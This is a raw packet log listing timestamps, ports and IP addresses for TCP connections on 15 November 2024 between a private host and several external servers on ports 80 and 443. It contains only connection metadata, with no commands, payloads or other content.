Nov 15, 2024 16:16:30.683634043 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.683645010 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.683651924 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.683656931 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.683669090 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.683676004 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.683712006 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.683712006 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.683712959 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.683712959 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.683712959 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.683712959 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.683712959 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.683712959 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.683747053 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.683747053 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.683747053 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.683785915 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.683793068 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.683804035 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.683809996 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.683815956 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.683823109 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.683830023 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.683835983 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.683851004 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.683857918 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.683868885 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.683875084 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.683873892 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.683873892 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.683947086 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.683954000 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.683965921 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.683973074 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.683979988 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.683990955 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.683996916 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.684003115 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.684010029 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.684021950 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.684027910 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.684034109 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.684040070 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.684053898 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.684098005 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.684103966 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.684114933 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.684122086 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.684129000 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.684139967 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.684145927 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.684153080 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.684159994 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.684171915 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.684176922 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.684182882 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.684190035 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.684201956 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.684207916 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.684215069 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.684221029 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.684221029 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.684221029 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.684221029 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.684221029 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.684221029 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.684221029 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.684252024 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.684252024 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.684252024 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.684252977 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.684328079 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.684438944 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.684446096 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.684458971 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.684464931 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.684506893 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.684545994 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.684600115 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.684607983 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.684619904 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.684627056 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.684633017 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.684639931 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.684644938 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.684652090 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.684664965 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.684670925 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.684679031 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.684689999 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.684695959 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.684710026 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.684710026 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.684745073 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.684752941 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.684760094 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.684765100 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.684773922 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.684797049 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.684808969 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.684814930 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.684820890 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.684827089 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.684838057 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.684853077 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.684859991 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.684865952 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.684883118 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.684894085 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.684912920 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.684921026 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.684919119 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.684919119 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.684919119 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.684919119 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.684919119 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.684927940 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.684936047 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.684942961 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.684983015 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.684983015 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.684983015 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.688844919 CET	443	49847	13.107.246.57	192.168.2.5
Nov 15, 2024 16:16:30.688920975 CET	443	49840	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:30.689349890 CET	49847	443	192.168.2.5	13.107.246.57
Nov 15, 2024 16:16:30.689363003 CET	443	49847	13.107.246.57	192.168.2.5
Nov 15, 2024 16:16:30.689836979 CET	443	49847	13.107.246.57	192.168.2.5
Nov 15, 2024 16:16:30.690103054 CET	49840	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:30.690130949 CET	443	49840	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:30.690963030 CET	49840	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:30.690968990 CET	443	49840	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:30.691333055 CET	49847	443	192.168.2.5	13.107.246.57
Nov 15, 2024 16:16:30.691333055 CET	49847	443	192.168.2.5	13.107.246.57
Nov 15, 2024 16:16:30.691418886 CET	443	49847	13.107.246.57	192.168.2.5
Nov 15, 2024 16:16:30.697805882 CET	443	49853	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:30.698848963 CET	49853	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:30.698872089 CET	443	49853	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:30.699268103 CET	443	49829	13.107.246.57	192.168.2.5
Nov 15, 2024 16:16:30.699446917 CET	49829	443	192.168.2.5	13.107.246.57
Nov 15, 2024 16:16:30.699501991 CET	443	49829	13.107.246.57	192.168.2.5
Nov 15, 2024 16:16:30.699887037 CET	443	49829	13.107.246.57	192.168.2.5
Nov 15, 2024 16:16:30.700421095 CET	49829	443	192.168.2.5	13.107.246.57
Nov 15, 2024 16:16:30.700501919 CET	443	49829	13.107.246.57	192.168.2.5
Nov 15, 2024 16:16:30.700573921 CET	49829	443	192.168.2.5	13.107.246.57
Nov 15, 2024 16:16:30.700865030 CET	443	49853	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:30.700967073 CET	49853	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:30.702356100 CET	49853	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:30.702444077 CET	443	49853	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:30.702558041 CET	49853	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:30.702567101 CET	443	49853	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:30.707390070 CET	443	49851	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:30.707669020 CET	49851	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:30.707683086 CET	443	49851	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:30.709117889 CET	443	49851	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:30.709233999 CET	49851	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:30.709486961 CET	49851	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:30.709568977 CET	443	49851	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:30.709738016 CET	49851	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:30.715261936 CET	443	49841	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:30.715639114 CET	443	49852	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:30.719014883 CET	443	49855	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:30.719507933 CET	443	49856	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:30.720552921 CET	49852	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:30.720604897 CET	443	49852	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:30.720663071 CET	49841	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:30.720701933 CET	443	49841	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:30.720890045 CET	49856	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:30.720900059 CET	443	49856	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:30.721136093 CET	443	49852	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:30.721338987 CET	49855	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:30.721347094 CET	443	49855	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:30.721441984 CET	49852	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:30.721545935 CET	443	49852	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:30.721555948 CET	49852	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:30.721848965 CET	49841	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:30.721854925 CET	443	49841	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:30.722822905 CET	443	49856	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:30.722825050 CET	443	49855	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:30.722897053 CET	49855	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:30.723195076 CET	49856	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:30.723195076 CET	49856	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:30.723290920 CET	443	49856	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:30.723505974 CET	443	49843	20.96.153.111	192.168.2.5
Nov 15, 2024 16:16:30.723571062 CET	49855	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:30.723650932 CET	443	49855	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:30.724709988 CET	49856	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:30.724709988 CET	49855	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:30.724721909 CET	443	49856	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:30.724737883 CET	443	49855	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:30.741610050 CET	443	49854	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:30.741825104 CET	49854	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:30.741839886 CET	443	49854	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:30.743331909 CET	443	49829	13.107.246.57	192.168.2.5
Nov 15, 2024 16:16:30.743346930 CET	443	49854	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:30.743463039 CET	443	49850	13.107.246.57	192.168.2.5
Nov 15, 2024 16:16:30.743551016 CET	49854	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:30.743726015 CET	49854	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:30.743824005 CET	443	49854	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:30.743875980 CET	49850	443	192.168.2.5	13.107.246.57
Nov 15, 2024 16:16:30.743885994 CET	443	49850	13.107.246.57	192.168.2.5
Nov 15, 2024 16:16:30.743952990 CET	49854	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:30.743983984 CET	443	49854	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:30.744257927 CET	443	49850	13.107.246.57	192.168.2.5
Nov 15, 2024 16:16:30.744539976 CET	49850	443	192.168.2.5	13.107.246.57
Nov 15, 2024 16:16:30.744600058 CET	443	49850	13.107.246.57	192.168.2.5
Nov 15, 2024 16:16:30.744652987 CET	49850	443	192.168.2.5	13.107.246.57
Nov 15, 2024 16:16:30.751323938 CET	443	49851	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:30.756335020 CET	443	49849	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:30.756901979 CET	49849	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:30.756942987 CET	443	49849	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:30.757380009 CET	49849	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:30.757395983 CET	443	49849	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:30.763350964 CET	443	49852	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:30.768407106 CET	443	49843	20.96.153.111	192.168.2.5
Nov 15, 2024 16:16:30.768471956 CET	49843	443	192.168.2.5	20.96.153.111
Nov 15, 2024 16:16:30.768640041 CET	49843	443	192.168.2.5	20.96.153.111
Nov 15, 2024 16:16:30.768665075 CET	443	49843	20.96.153.111	192.168.2.5
Nov 15, 2024 16:16:30.773334026 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.773344994 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.773361921 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.773367882 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.773400068 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.773416996 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.773437023 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.773442984 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.773463011 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.773475885 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.773483038 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.773488998 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.773495913 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.773502111 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.773514032 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.773519039 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.773526907 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.773554087 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.773562908 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.773569107 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.773592949 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.773603916 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.773617029 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.773643017 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.773649931 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.773660898 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.773667097 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.773674011 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.773684978 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.773709059 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.773709059 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.773709059 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.773709059 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.773709059 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.773709059 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.773709059 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.773731947 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.773741961 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.773742914 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.773742914 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.773742914 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.773742914 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.773816109 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.773824930 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.773844004 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.773849964 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.773864985 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.773870945 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.773893118 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.773893118 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.774013996 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.774116039 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.775998116 CET	49860	443	192.168.2.5	20.96.153.111
Nov 15, 2024 16:16:30.776031017 CET	443	49860	20.96.153.111	192.168.2.5
Nov 15, 2024 16:16:30.776206017 CET	49860	443	192.168.2.5	20.96.153.111
Nov 15, 2024 16:16:30.776374102 CET	49860	443	192.168.2.5	20.96.153.111
Nov 15, 2024 16:16:30.776392937 CET	443	49860	20.96.153.111	192.168.2.5
Nov 15, 2024 16:16:30.777620077 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.777630091 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.777642965 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.777767897 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.777775049 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.777787924 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.777793884 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.777806044 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.777812004 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.777818918 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.777826071 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.777832985 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.777887106 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.777894020 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.777905941 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.777911901 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.777924061 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.777930021 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.777941942 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.777947903 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.777982950 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.777982950 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.777982950 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.777982950 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.777982950 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.777982950 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.778072119 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.778078079 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.778085947 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.778090954 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.778134108 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.778134108 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.778134108 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.778136015 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.778150082 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.778156042 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.778168917 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.778175116 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.778181076 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.778187037 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.778197050 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.778203011 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.778208971 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.778214931 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.778228045 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.778234959 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.778240919 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.778253078 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.778259993 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.778265953 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.778271914 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.778369904 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.778369904 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.778369904 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.778369904 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.778369904 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.778369904 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.778369904 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.787333012 CET	443	49850	13.107.246.57	192.168.2.5
Nov 15, 2024 16:16:30.814703941 CET	443	49848	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:30.815335989 CET	49848	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:30.815370083 CET	443	49848	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:30.816077948 CET	49848	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:30.816083908 CET	443	49848	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:30.819416046 CET	443	49847	13.107.246.57	192.168.2.5
